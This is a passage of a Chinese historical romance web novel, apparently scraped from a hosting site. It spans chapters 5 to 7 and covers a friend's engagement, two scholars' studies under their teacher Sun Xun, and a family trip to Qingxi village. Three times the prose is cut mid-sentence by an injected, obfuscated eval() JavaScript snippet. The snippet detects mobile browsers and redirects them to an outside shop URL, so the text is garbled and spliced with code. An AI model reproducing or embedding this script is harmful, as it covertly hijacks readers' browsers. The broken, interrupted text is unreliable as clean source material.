渔娘忍不住笑,看来周家从上到下都知道她为什么来找淼娘了。 “淼娘在哪儿?” “我家小娘子在后院晒花茶。这不是入秋了么,这几日走街串巷卖菊花的多起来了,我家小娘子今日上午买了两背篓鲜菊花,准备晒干了,留着日后泡菊花茶喝。” 走进周家后院,一簸箕一簸箕的菊花映入眼帘,金黄亮眼,煞是好看。 “淼淼,你晒这么多菊花茶,你家喝到明年秋天也喝不完呀。” 周淼笑道:“喝不完也不妨事,可以送去饭庄,泡给食客喝,我晒的这点菊花都不够消耗几日的。” “淼姐姐。”梅二郎迫不及待了,他已经闻到香妃酥的味道了。 渔娘无奈,这小子在美食面前真是一刻都忍不了。 淼娘忙吩咐仆人:“快把香妃酥端出来,咱们在院子里吃。” 走家后院有一株橘子树,长得高大茂盛,桔子树下摆了张矮桌,坐树下休息闲聊正好。 渔娘警告二郎:“刚用了午食不久,最多只能吃两块。” “好嘛。” 梅二郎委屈地应一声,老大不愿意了,又不敢反抗姐姐。 丫头把点心送来,又在晒菊花的簸箕里捡了几朵鲜菊丢茶壶里,拿滚水冲了一壶清新略微苦涩的菊花茶。 淼娘给渔娘倒茶,一边道:“你们今日去罗家可热闹?” “还算热闹吧,除了县令夫人的娘家侄女之外,其他那几家你都认识,老熟人了。” 周家只是开饭庄的普通人家,但因为淼娘跟渔娘关系好,有渔娘引荐,南溪县的富户,王教谕家,甚至南溪县上一任县令家,她都是去过的。 听渔娘念叨了一圈有哪些人,周淼了然:“去的都是未说亲的小娘子,其中可有什么缘故?” 渔娘摇摇头:“不知道,我只是去吃顿饭。” 淼娘大笑起来:“你年纪也不小了,还是不理睬这些事不好。” 渔娘跟淼娘亲近,说话自然不避讳,她直言道:“我年纪还小,我爹娘也想多留我几年,我说亲还早。你呢,你比我大两岁,五月端阳节的时候我娘说你爹娘在帮你相看了,看的如何了?” 淼娘不好意思地摸摸耳垂,脸颊微红,凑到渔娘胜身边小声道:“已经定了。” “谁?”渔娘眼睛都睁大了,超级期待。 “邓家。” 渔娘激动地直扯帕子:“邓丁香?什么时候说成的?怎么不告诉我?你们什么时候办?” “九月初六过礼,日子定在十二月初八。不是不告诉你,咱们小门小户的也不好惊动你。”淼娘的脸颊更红了,最后连脖子都红了起来。 九月初六过礼,那也没几天了,渔娘:“有什么不好惊动的,凭咱们的关系,你该早些告诉我的,按理说,你和邓丁香两个人该给我送一份谢媒礼。” 四年前林氏生二郎时伤了身子,请邓家大夫上门诊治,陆陆续续调理了一年多。为了照顾娘亲,那一年渔娘对中医来了兴趣,她收集了许多药膳方子,经常去邓家药铺请教,一来二去的,就跟邓家熟悉起来了。 淼娘跟渔娘关系好,因此淼娘也经常跟渔娘去邓家药铺。 “淼娘老实交代,你跟邓丁香……” 淼娘捂住红红的脸颊,似怒还嗔:“你再这样说,我就不理你了。” “那谢媒礼你们给不给,给不给……” 渔娘扑过去挠她痒痒,淼娘怕得很,又是怕又是笑地躲:“渔娘,别闹。” 两人嘻嘻哈哈闹了好一阵才停,渔娘端起茶杯喝了口,喘了会儿气才说:“你们两人,无论是家世还是性情,都很相配,以后日子不会过得差。” 邓大夫夫妻都是和善人,育有两个儿子关系也和睦,邓家老大医术学的最好,老二邓丁香医术比大哥差一筹,主要负责药铺的药材采购,也算各有所长。 淼娘微微点头。爹娘哥嫂都宠爱她,给她选了邓家,只想她以后日子过得好。 小户人家结亲都讲门当户对,门第高些的人家,自然也是精心选了又选,思量再三。 二郎默不作声地吃完两块香妃酥,趁姐姐不注意又伸手。 “梅羡林!” 梅二郎悄悄地缩回手,一双小肉手乖乖放膝盖上。 怕弟弟一会儿又馋,渔娘坐了会儿就告辞了,走的时候还问淼娘过几日有没有空闲,他们家过些日子要回清溪村住几日,她若是有空闲也一起去乡下玩几日。 淼娘想去,只是没几日邓家那边要来过礼,后又要备婚,不好出门玩了。 “也罢,等你成婚后我再叫你去玩。我们走了。”渔娘牵着恋恋不舍的弟弟回家。 “嗯,我送你们。” 淼娘送他们姐弟到门口,不禁笑叹,邓家公婆再和善,等成婚后,只怕没有现在在家当姑娘时自在。 渔娘牵着弟弟慢慢走回家时已经半下午了。 罗家。 罗县令中午喝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079283|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几杯酒,歇了会午觉起来,刘氏听见动静忙进屋伺候。 “倒杯茶。” 刘氏倒了杯温茶递过去,罗县令喝了大半杯,才觉舒坦了。 “老爷可还要?” “不要了。” 刘氏接过茶杯放下,服侍着穿衣裳,夫妻俩说起家常话来,自然而然地就说到了今日宴客的事。 罗县令笑着道:“王苍果然是个稳重的,不仅有读书之才,言谈举止都不像十六岁的毛头小子。我看呐,他三年后考举人肯定没问题,我若是在南溪县留两任,后头还有好事等着我。” “那就提前恭喜老爷了。”刘氏笑问:“老爷可有问过王苍、贺文嘉两个,他们家里可有给他们定亲?” 罗县令一下不高兴了:“可是大嫂又说什么了?” 刘氏叹道:“你跟我说的话,我都掰碎揉开了跟大嫂说清了,大嫂一直说可惜了,难得碰到各方面都合适的。” 罗县令皱眉:“你好生劝劝大嫂,不是咱们家不肯帮忙,人家没那个意思,难道咱们还能强求不成?王家又不是普通人家,就算强求也强求不来,何必结仇?” 刘氏何尝不知,只是被大嫂念叨着,她也头疼。 罗县令当年读书求学时候,全靠岳父家支持,甚至罗县令不擅长读书的大儿子还仰仗舅兄带着做生意,在外侄女的婚事上罗县令也不好推脱,只在心里细细思量,可有合适的人选。 白水村,王家。 傍晚彩霞漫天,清凉的晚风吹的人浑身舒畅,王芸娘敲开哥哥的书房。 “进。” 芸娘推门进去,见哥哥在窗边写字,她端着一碟切好的苹果进去,笑道:“我来给哥哥道谢来了。” 王苍放下笔,嘴角微翘:“谢我什么?” “谢你的《中原农耕术》呀,梅姐姐还我一本潮绣大家的写的注疏,我回来刚看过,那本书写的可好了。” 王苍接过果盘,笑道:“我还当什么事呢,也值得你道谢。” “对哥哥来说不是什么大事,对我和梅姐姐来说就是大好事了,她得了好东西高兴,我得了好东西也高兴。”芸娘笑眯眯地在哥哥旁边的椅子坐下。 王苍吃了块苹果,嗯,挺甜的。 王苍还要练字,他拿起毛笔,见妹妹没有要走的意思,他又搁下笔:“还有什么事?” “哥,今日宴会上旁人问起你的婚事,娘说,你的婚事不着急,最好等到你考中进士后,再选个对你当官有助力的官家小姐成婚。” 王苍拿起笔,嗯了声:“娘早前提过,我知道。” 芸娘松了口气:“哥哥你知道就好,我怕你不乐意呢。” “娘是为我好。” 芸娘笑得灿烂,娘做什么事当然都是为了他们兄妹好。 “哥哥你写字吧,我走了。” 芸娘走后,书房的门被虚掩起来。 王苍举起笔停了好一会儿,一滴墨汁滴在洁白的纸上,他才落笔,顺着那滴残墨写下去。 天际的晚霞随着风飘动,日光慢慢消散,天色变得昏暗起来。 一张纸写满了,纸上的每个字都方正圆润好看,那滴意外滴落的墨汁被藏在笔画尖,再找不到一点突兀的地方。 5. 第 5 章 读书之事,偷不得懒。院试后这几日没有先生督促,王苍依然每日勤学苦读,每隔一两日还会吩咐小厮,把自己的课业送到先生家,请先生检查。 贺家的布铺开在东街上,王家的书童要去南街孙先生家,从东城门口进城后要从贺家铺子门口过。 贺宁远今日用了早食,迈着不紧不慢的步子溜达着去铺子里瞧瞧,今儿心情好,一路跟熟悉的街坊打招呼。 “周掌柜,今儿生意好啊,入秋了,鱼肥,你家饭庄的鱼可好卖?” “李掌柜,可有新鲜的老鹰茶,我家只剩下一点了,待我下午家去了,给我包二两带走。” “张娘子,你家酒坊昨日又烤酒了?” 卖茶的李掌柜正盯着伙计理货,看到贺宁远过来,笑着回了句:“贺掌柜,你家二郎考上秀才了,还是廪生,你家不办一办?” 贺宁远笑着摆摆手:“不办不办,一个秀才罢了,王家大郎得了小三元都不办呢。” 卖酒的张娘子凑趣儿:“各家有各家的打算嘛,你家二郎上私塾第一天都是哭着家去的,这些年为了读书更是没少挨打,现如今好不容易考上秀才,当然要庆贺庆贺,我们这些老邻居都等着你们家办酒。” 众位街坊大笑起来,贺宁远不嫌被取笑,轻哼一声:“不办不办,我家二郎以后前程大着呢,虽然比不上他大哥读书用心,以后也是不差的,有的是办酒的时候。” 周掌柜道:“说的对,我看你家二郎也不比你家大郎差,过了几年,一样考举人,考进士也不在话下。” “哈哈哈,那就借周掌柜吉言了。” 贺宁远自己也觉得二郎这一二年里越发懂事了。 贺宁远刚走到自家铺子门口,看到王家的小厮捧着一个木盒过来,贺宁远叫住:“王连,上哪儿去?” 王连忙过来行礼:“见过贺老爷,小的去孙家给我家少爷送功课。” “你家少爷勤学,前途无量啊。” 王连笑着点点头:“贺老爷,您先忙着,小的就去了。” “去吧去吧。” 王连走后,贺宁远看了眼王连的背影。 旁边的李掌柜叹了声:“王家那小子真有韧劲儿,他家小厮见天往孙先生家去送功课,有这个恒心,做什么不成?” 贺宁远想到自家那个借口考中秀才,这几日在家混吃混喝,啥正事儿不干的臭小子,也没心思进铺子了,老鹰茶也不要了,扭头就家去。 贺宁远脚步急匆匆,张娘子笑道:“得,货比货得扔,人比人得死,贺二郎又要挨揍了。” 街坊们笑了一阵,都去忙事儿了。 贺宁远回家没有半盏茶的工夫,贺二郎就被打出家门了,身边还跟着贴身伺候的小厮贺升。 大门砰的一声关上,贺二郎一边偷偷揉被揍的屁股一边抱怨:“我爹发什么疯,早上出门的时候还好端端的,一会儿工夫又跑回来找我的茬,我招谁惹谁了?” 秋老虎晒人,看了眼热辣辣的太阳,贺二郎站大门口没动,然后就看看王苍的小厮王连从孙家过来,贺二郎还有什么不明白的。 肯定是他爹看到王苍那小子勤学苦读,又看不上他这个不争气的儿子了。 王连也看到贺二郎了,忙上前行礼:“见过二爷。” 贺二郎苦着一张脸:“王苍这几日读什么书?” “具体读什么书小的不知,小的只是听吩咐,隔一两日去孙先生家替我家少爷送功课给孙先生批阅。” 王连嘴巴一向紧,知道问不出什么,贺二郎摆摆手叫他走。 主仆二人站在大门口,即使贴着大门站,太阳也已晒到大腿了,下半身被晒的暖烘烘的,浑身冒细汗。 贺升扭头看了眼大门,小声问主子:“爷,咱们怎么办?” “能怎么办?去孙先生家读书。” 贺二郎打赌,要是不去先生家,他就算他蹲在家门口被晒晕了,他爹也不许人给他开门。 贺二郎叹了口气,去孙家吧。 这时,大门旁的角门打开,管事贺全把书箱递给贺升,角门砰的一声关上。 贺二郎又是叹气,决绝地往孙家去。 嗨,不就是读书么,爷又不是没读过。 贺二郎到孙家后,熟门熟路地去书房。 孙浔正在读去年刚修订好的前朝史书,见贺二郎进门,也没放下手中的书,只指了指对面的桌子,贺二郎乖巧地坐到自己位置上去。 孙家颇有家资,不靠教书谋生,加之孙浔乃前朝最后一科进士,又以才学出众和愤世嫉俗扬名,孙浔的性子不耐教蒙童,因此只教科举的学子。 孙浔这里原来有五六个学生跟着他读书,这二三年里,其他几个资质有限的学生,三个考中了童生,一个勉强考中秀才后,都不读了,如今只有王苍和贺二郎两人还跟着孙浔读书,孙浔的书房里,也只常设三张书案。 贺二郎枯坐了半晌,偷偷瞟了先生一眼,见先生专心看书,坐了会儿也觉得没意思,拿出书箱里的书,也看了起来,看着看着,看进去了,也读出了趣味来。 不知道看了多久,看完一编后,贺二郎才放开了书,回味着。 “可要喝茶?” 孙浔在茶桌旁泡茶,贺二郎麻溜儿地过去,嘿嘿笑道:“哪能让先生辛劳,该学生给先生泡茶才是。” 孙浔没接话,给他倒了杯茶,放在他面前。 茶水的热气蒸腾,闻着茶香,贺二郎抿了一口,清茶的滋味在口腔里弥漫,香。 饮完一杯茶,孙浔问他:“前朝的史书可看完了?” 贺二郎心虚:“看了大半。” 新朝建立已有十四年,前朝存续了一百三十六年后,被如今的马家王朝取代。 元吉二年,当今皇上下令修史,花了十年时间,元吉十二年修好,又审核了一年,拖到今年上半年才交给书坊雕刻印刷,送到书铺售卖。 五月书铺有书售卖后,孙浔买了四套,给两个学生一人送了一套,渔娘给了一套,到今日也快四月有余。 “你可知王苍看了多少?” “学生不知。”贺二郎听到王苍的名字就更心虚了。 “王苍已看第二遍了,他这几日使人送来的功课,皆是书上他未曾读明白的。” 闻言,贺二郎脑袋快低到胸前了。 孙浔眼角带笑,淡淡道:“你虽没有读完,到底读了大半了,我问你,你可看出什么来了?” 贺二郎试探着说:“前朝开国皇帝英明神武?世家争权夺利导致前朝灭亡?” 孙浔赞许地看了他一眼:“不算胡说。” 被夸了,贺二郎的腰一下坐直了,脑袋也抬起来了。 孙浔慢慢道:“前朝建立之前,二百年间天下动乱,前后各地相继有二十余个割据王朝兴亡,前朝开国皇帝只凭他英明神武就建立了统一王朝吗?” “有世家帮忙?” “不错,前朝建立后做的第一件事,就是重修了世家谱,由此可见前朝的建立各地世家出了大力。你读前朝开国皇帝篇章时,可读到了多少世家?” 倒是没有读到世家有多厉害,都在写开国皇帝如何英明神武了。 前朝开国皇帝厉害,第二代皇帝乃守成之君也不错。前朝前后一百三十六年,这俩长寿的父子就占了快一百年。后面三十余年,世家操纵之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079284|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,前朝共有六个皇帝先后上位又被罢黜。 前朝末年,皇帝昏庸,世家代皇帝治国,各家争权夺利,导致民不聊生皇朝灭亡,那叫一个乱。在史书里,世家的名声臭不可闻。 “前朝建立世家的功劳在史书上没留下几个字,前朝灭亡大都是世家的错。当今让史书就这么刊行天下,这是什么意思?” 还能是什么意思?打压世家呗。 孙浔笑道:“当今打压世家摆在明面上了大家都看得出来。你可看出其他东西了?” 贺二郎老实地摇摇头。 孙浔翻开史书第一页,指给他看:“主持编书的翰林院学士姓孔,排在下面的严任柳唐四人,两个出身世家末尾的小家族,两个出身寒门,两个小世家出身的官员甚至排在前头。” “用重用世家了?” 重用么,谈不上。 这套史书是世家和皇帝的博弈。世家大族实力衰退,比不过皇权,小世家位列世家没得到多少好处反而被打压,在这场博弈中用修史做投名状,抛弃世家投奔皇帝,皇帝也接受了。 孙浔指点贺二郎:“王苍家,你家,也算是小家族,而且十多年前都已经分宗,你和王苍若是有一日进入朝堂,可选的就多了。” 贺二郎陷入沉思。 不对,贺二郎摇摇头醒来:“老师,想读书做官的是我大哥,我不行的,我就想将就着考个功名,以后过富家翁的好日子。” 贺文嘉的大哥贺文茂,如今在浙江东山书院读书,已有举人功名,就等着下一届去京城考进士。 孙浔瞪了眼这个不争气的学生,明明有读书的天赋,偏偏不肯努力。 孙浔没好气道:“别口出狂言,考举人考进士跟考秀才可不一样,你肚子里的这点墨水,要是再不努力,我看你举人都考不上。” 贺二郎乖乖低头挨骂。 孙浔瞪他:“人都有爱好,你爱好吃喝也不算什么大毛病,只一条,你要分得清轻重,该努力时就当努力。” “先生教训的是。” “院试后也休息了一段日子了,今日回去后好好读书,给你五天时间把书读完,随后跟王苍每日来我这儿,我再教你们。” “学生知道了。” 挨骂归挨骂,挨完骂贺二郎就伺候着先生回后院用饭,必须蹭一顿饭再走。 于氏看到师生俩进来,她笑着叫俩人过来用饭。 “老师,您尝尝这个蒸鱼,看着真新鲜。” “还有这个茄子,烧的真软。” 贺二郎一个劲儿地献殷勤,孙浔嫌他烦,用完午食,叫他滚回去看书。 “哎,学生知道了。” “老师,明儿我还来啊。” 贺二郎背着书箱跑了,孙浔忍不住对妻子说:“二郎但凡有王苍八分努力,三年后考举人定能榜上有名。” 于氏安慰道:“孩子嘛,爱玩闹,你当先生的多督促。” 孙浔又说渔娘:“渔娘也是,这几月叫她读史,草草读了一遍,又去画她的地图了,这丫头读书也不认真。” 于氏笑道:“她一个姑娘家,又不考科举,她爱读什么书,你就教她什么书吧。” 孙浔当初求学时,曾拜师渔娘的爷爷梅平江,前朝末年战乱,梅平江去世,梅长湖一家分宗逃难到南溪县,孙浔夫妻俩也跟着来了。 梅家,孙家,两家关系亲密,从渔娘开蒙时,孙浔和妻子于氏就是渔娘的老师,夫妻俩都拿渔娘当亲生女儿一般。 孙浔嘴上抱怨一通,心里也舍不得逼迫渔娘做不喜欢的事,咬了咬牙后,只说,过两日要骂骂她。 于氏轻笑一声,当自己没听见。 6. 第 6 章 贺二郎去孙家一趟,回来后,十分自觉地每日在书房认真读书,贺宁远偶尔去书房走一圈,心满意足。 梅家下人过来传话,梅家后日要回清溪村住几日,问他们家可要去。 “叫夫人去清溪村散散心,再去白云观还愿,老爷我要在家盯着二郎读书,就不去了。” 梅家下人把话带回去,听说二郎闭门认真读书,林氏就跟女儿说:“二郎比他哥郎懒散调皮了些,到底是分得清轻重的孩子,只盼着你弟弟读书后也能这般懂事。” 在林氏眼里,自家这个儿子虽说跟贺二郎性子不一样,爱吃的性子却是一样的。 渔娘觉得她娘多虑了,弟弟跟贺二郎可不一样,弟弟性子静,又专注,以后定是天生的读书圣体。 “娘打算给弟弟开蒙了?” “今年就算了,你爹说等明年吧,你当年五岁开蒙,叫你弟弟也五岁开蒙。” “送到先生那儿?” 林氏点点头:“你爹已经跟你先生说好了。” 渔娘啧了声:“先生开私塾时就放出话了,不收蒙童,也就是咱们家了,我和弟弟都是先生开蒙。” 林氏笑道:“我们家跟外头那些人可不一样,你先生拜你祖父为师,你祖父不仅教你先生读书,你先生当年娶妻时,也是你祖父帮着操办的。” 梅家是小世家,不算巨富,但也不缺钱财。孙家可不一样,孙家聚居在村里,孙浔之前孙家也就出过两个秀才,也就看在孙家村族里有所族学的份上,孙家勉强算是耕读传家,实际孙家日子过得好的没几家。 孙浔家更是清贫,家里只有一个寡母,当年他考中秀才后,拜师梅平江后,梅平江教他读书,带他去京城,顺利中举,又考中进士,后给他说了国子监祭酒的孙女于氏为妻。 林氏语气十分惋惜:“你祖父在世时曾说,你先生才华横溢,若是生在好时候,按理说前途光明得很。” 无奈生逢乱世,皇帝昏庸,奸臣当道,百姓苦难不休,孙浔愤世嫉俗,言辞激烈地抨击时政,得罪了皇帝。后头战乱中夫妻俩没了一个孩子,更是心灰意冷,再不想出仕的事。 时也,命也。 渔娘:“现在这般也挺好,先生和师娘过得也算顺心。” “到底,你先生夫妻俩没个自己的孩子。” 当年战乱无数京城富贵人家难逃,于氏在南下的路上诞下死胎彻底坏了身子,孙浔不愿意纳妾,夫妻二人如今年近五十,至今膝下没个孩子,整日以教书弹琴为乐。 “先生和师娘待我好,以后我孝顺您和爹,自然也不会忘了先生和师娘。”渔娘轻哼:“我可不是没有良心的人。” 林氏压低声音:“或许用不着你孝顺,听你师娘说,安东县孙家那边给你先生写信,想过继一个孙家的孩子给你先生和师娘承嗣。” 渔娘挑眉:“早年间孙家也提过,先生不是拒了么。” “这回不一样,这次孙家连人选都选好了,听说都是十四五岁的少年,还都读过几年书,名单送过来叫你先生和师娘选。” 渔娘冷笑:“十多岁的少年,还都读过几年书,他们打的什么主意,到底是给先生和师娘找承嗣的,还是让先生教他们读书科举?” “唉,当年你先生和师娘不放心咱们家,跟咱们家来南溪县的时候孙家就不满。后来天下初定,孙家人来过南溪县,说孙家族学的先生教得不好,这么多年连个秀才都没考出来,想请你先生回孙家教书,你先生不乐意,后头冷了几年,两边连节礼都不送了,也就这几年才又走动起来。” 渔娘听明白了阿娘的意思:“呵,是不是孙家自以为出了读书的根苗了?惦记着先生给他们带孩子吧。” 渔娘恼火不已:“先生父母早逝,他们身为孙家族人却不曾庇护先生,当年那些嫉恨先生的还暗中使坏,要不是祖父拉了先生一把,先生哪里会去京城考进士。” 林氏按住女儿的手:“这些话你心里知道就是了,别去你先生跟前说,你先生虽豁达,听到这些话,难免心头发闷。” 渔娘心疼先生和师娘,她都替老师和师娘烦心,哪里会去他们面前说这些。 渔娘从阿娘那儿回去,心里闷闷的,不想去书楼,在园子里溜达了会儿,带着丫头婆子出门去了。 林氏身边的大丫鬟明秋捧着账本进来:“奴婢方才从账房那儿回来,路上碰到咱们家小娘子,瞧着像是要出门。” “她心里不痛快,估计是去孙家看她先生师娘去了。” 林氏的陪嫁媳妇儿林妈妈利落地给主子摆好笔墨,预备主子看账本要用,随即笑道:“咱们家小娘子向来是有孝心的孩子。” 林氏含笑点了点头。 林妈妈又笑道:“咱们家小娘子长跟周家的小娘子来往,听说周家小娘子订好了人家,下月就要走礼了,要奴婢说,咱们家小娘子年纪也不小了,以后出门不好这样说走就走,好歹坐车出门遮一遮呢,以后说亲时,也别叫那起子人家挑理儿才好。” 林氏不悦:“我的渔娘聪慧孝顺,谁敢挑我渔娘的礼?这起子人家就不配上我家的门。” 林妈妈正色:“大娘子,咱们家小娘子若是只在南溪县选个不好不坏的人家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079285|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然谁也挑不了咱们家的理。但若是往上选呢?” 林妈妈见主子若有所思,连忙说下去道:“咱们家如今虽不如当年,到底是世家谱上的人家。这一二年淮安主支又慢慢起来了,等咱们家小娘子要选人家时,淮安那边若是肯帮忙,找个出息些的好人家也不是不可。” 荣华富贵谁不想要,嫁去世家大族中,以渔娘爱玩闹自由的性子,只怕日子难过。 林氏思忖了许久,终是舍不得女儿,摇了摇头:“我和老爷不打算让渔娘远嫁。” “咱们南溪县是小地方,以咱们家的底子,小娘子的品貌,娘子和老爷也要往叙州府选吧,叙州府的大户人家,讲究的也不少咧。” 林氏摆了摆手:“我知你好意,不过这些话就不必说了。女儿家嫁人前的日子最自在,渔娘爱怎么着就怎么着吧,有我看着,出不了格。” 林氏伸手要账本,明秋赶紧把账本递上去,翻开给主子瞧这个月的花销。这个月家里做秋衣,又要采买做东西的棉花、布料,花销比上月大了不少。 林妈妈见主子忙着,也不劝了,挽着袖子给主子磨墨。 孙家。 渔娘带着三四个丫鬟婆子去□□巧碰着师娘在院子里一棵芭蕉树下弹琴,渔娘也不打扰,把伺候的人都留在门口,她轻手轻脚地走过去,找了个位置坐下,悠然自然的琴曲让人心神徜徉。 茶炉煮沸的茶香随风飘散,和琴曲缠绕飞舞,琴曲的尾音袅袅,渔娘深吸一口气,自觉身心愉悦。 “渔娘听了这首《溪山秋月》,你觉如何?” “草木清新,怡然自得,只觉天凉好个秋。” 于氏拂袖笑了起来:“秋日好光景,别在家里拘着了,该出去赏秋了。” 渔娘亲热地靠过去:“我来正想跟师娘说这事呢,后日我家要去清溪村住几日,到时候即可赏山村风景,又能去爬山。南山上白云观里地势高,碰上晴天,站在白云观最高处赏景,半个南溪县尽收眼底。” 于氏捏着她嫩藕般细长的手指,她笑道:“前两日从罗家回来,你先生就说你家过两日要去清溪村住几日,正等着呢。” 渔娘歪头贴着师娘肩膀得意地笑:“我就知道你们想去。” “除了咱们两家还有没有谁?可叫了贺家?” “叫了,贺叔说他要留在家里照顾贺二郎读书,阮婶婶跟咱们一块儿,阮婶婶要去白云观烧香还愿。” “那正好,我跟你阮婶婶能说到一块儿去,还有你阿娘,咱们三个一块儿去白云观听李道长说经。” “好嘞,我也去听听。” 7. 第 7 章 贺二郎想好了,这几日要在家好好读书,可阿娘跟着梅家和先生家快乐出游,贺二郎依然羡慕得紧。 贺二郎想去,可先生和师娘也去,他哪里敢往前凑。于是,阮氏出门这一日,贺二郎把阿娘送上马车,又送到大门口,嘴里叨叨个不停。 “阿娘,清溪村张婆婆家养了十来只鸭子,他们家每个月都会包几十个包蛋往外卖,您可要记得去张婆婆家买几十个回来,我爱吃。” “里正媳妇儿腌制的咸干菜好吃,您去买人家肯定不好意思收钱,您拿点心跟人家换些回来,拿菜油炒一炒,下饭吃可香了。” “还有……” 阮氏掀开帘子打断他,瞪眼:“你以后究竟是要靠科举当官,还是要去做厨子?” “娘~” “哼,回去读你的书去。” 贺文嘉被骂了回去,一步两叹,边走边回头,他也想去玩呐。 贺宁远安慰儿子:“你加把劲儿,把你老师留的课业完成好了,等到正月里过元宵,爹带你去叙州府看灯会。” 贺文嘉心里一动,随即又卸了力气:“爹,这才八月底,离元宵灯会还远着咧。” “也不远,只剩下四个来月了,这点时日还不够你先生给你们讲完前朝史书。” 贺宁远关心儿子学业,昨儿去孙家找孙先生喝茶,主要想问问二郎以后读书的事。 不得不说,贺二郎跟王苍比起来在学业上虽然懈怠了些,但他聪慧,记性又好,也跟得上王苍读书的进度,如今虽然才考中秀才,该学的四书五经都已学过了,且学得很不错。 按照孙先生的说法,二郎的底子打得还算牢固,再花一年的功夫教他读一读史,明年秋日就去考府学吧,府学的先生教策论教的不错。 孙浔叫贺文嘉去府学读书,一是读书最忌讳闭门造车,该出去跟人多交流,跟先生学学策论;二是孙浔毕竟是前朝的进士,如今官场内一些默认的规矩,最好还是听府学内先生们的;三是读书是为了做官,府学里多交友,当官后,同窗之情比同年之谊还重些,也好多些门路。 贺宁远十分认同孙先生的话,劝儿子道:“认真跟你先生读史,明年顺利考中府学,以后你出门读书了,家里一月给你拿五两的月钱。” 五两银子可不少,如今贺二郎一月只有二两银钱,吃吃喝喝不够使,有些紧吧。 贺二郎心动,又想多争取些,不满道:“爹,只给五两啊?” “呵,你就知足吧,知道五两银子多贵重吗?你考得廪生,一年所得的廪粮、银并其他杂碎贴补,一年也才十二两银子罢了。” “再有,你知道普通百姓辛苦种一年地获多少粮食?铺子里的伙计、掌柜干一月得多少月钱吗?衙门的衙役小吏又挣多少吗?” “少的五六百文一月,多的一二两银子?” 贺二郎爱吃喝,常游窜县城里的街角小巷找好吃的,普通百姓挣多少银钱他还是知道的。 “知道就好。爹供你和你大哥读圣贤书,虽说指望你们靠读书光耀门楣,庇护家族,但也盼着你们有朝一日为官,不论官职大小,至少能做个对百姓有益的官,这才对得起祖宗,对得起你们自己的良心。” 听他爹说教一大堆,贺二郎不服气道:“大哥在苏州府东山书院读书,您给大哥每月二十两月钱,却只给我五两,您偏心。” “你爹我哪里偏心了?东山书院的官宦世家子弟多,加之你大哥已娶妻,他们夫妻两人还带着伺候的家仆,纵使家里另外给了赁房、家仆的月钱,二十两银子供你大哥读书耗费,人情往来,吃穿用度,也只是够用罢了。” “哼,咱们贺家是体面人家,不是那等算计的人家,不把银钱给足了,难道让你哥花你大嫂的嫁妆?” 贺宁远一向重视两个儿子的兄弟情,既然说到这儿,少不得多说一句:“我和你娘只有你和你大哥两个,以后家里的财产都是你们的,你爹我不是偏心的人,以后等你成婚去外头读书,该你的,一文钱都不会少你。” “爹,咱们这么大一家子人,只靠着家里一个布铺子赚的银子,够咱们一家花销吗?”贺二郎突然想到这个。 贺宁远语调略显傲气:“只凭布铺所得肯定不够咱们家开销,不过家里另有门路,一年所得的银钱供应咱们家开销还有结余,不用你操心。” 贺文嘉想到只开了家书铺的梅家,靠佃农种地交租过活的王苍家,还有只教了他和王苍两个弟子的孙先生家。 “爹,梅家、王家、孙家都另有来钱的门路吧。” “梅家、王家跟咱们家一样,家底不薄。不过孙家嘛,你先生出身普通,不过梅家老爷子还活着时拿你先生当亲儿子看待,他成婚时定然给了些家底的。还有,你师娘当年乃是国子监祭酒的孙女,嫁妆厚着呢。你先生师娘没什么大花销,这些年手里应该也攒了些年。” 孙家族里一心想给孙浔夫妻过继个儿子,一是想叫孙浔给孙家教个读书人出来,另外,心里肯定也惦记着孙浔夫妻俩的家财。 贺文嘉眼睛都亮了:“孙家怎么回事?” “孙家的事与你无关,读你的书去。” “爹,再说说嘛,不是您说的么,不能只读圣贤书,人情世故也该多懂一些。” 贺宁远不知道从哪儿掏出一根棍子:“去不去?” “去去去!” 贺文嘉见他爹真要揍他,赶紧跑了。 贺家父子俩说话的这会儿工夫,马车已经出县城了。 马车出县城后,路边的行人就少了,吩咐阿青打开马车两边帘子,一阵风吹过来,鼻息间全是草木的香气。 往窗外望去,山地种的都是红薯、豆子,豆子的茎长得粗壮,沉甸甸的豆荚,风吹过时一摇一晃的,看着就喜人。 马车走了一个时辰左右,清溪村到了。 扶着丫鬟的手下马车,渔娘朝娘亲走过去:“阿娘,过几日等咱们回县里时,坐船回去吧。” 清溪村是通水路的。三条小溪从南山流下,在清溪村村尾汇聚成河流,一路流淌到南溪县,汇聚到南溪中。 “待回去再说,你师娘好像有些不舒服,你快去瞧瞧。” 渔娘连忙过去孙家的马车,见师娘脸色有些发白,先生有些着急地问来问去,师娘说了两句不耐烦,推开他。 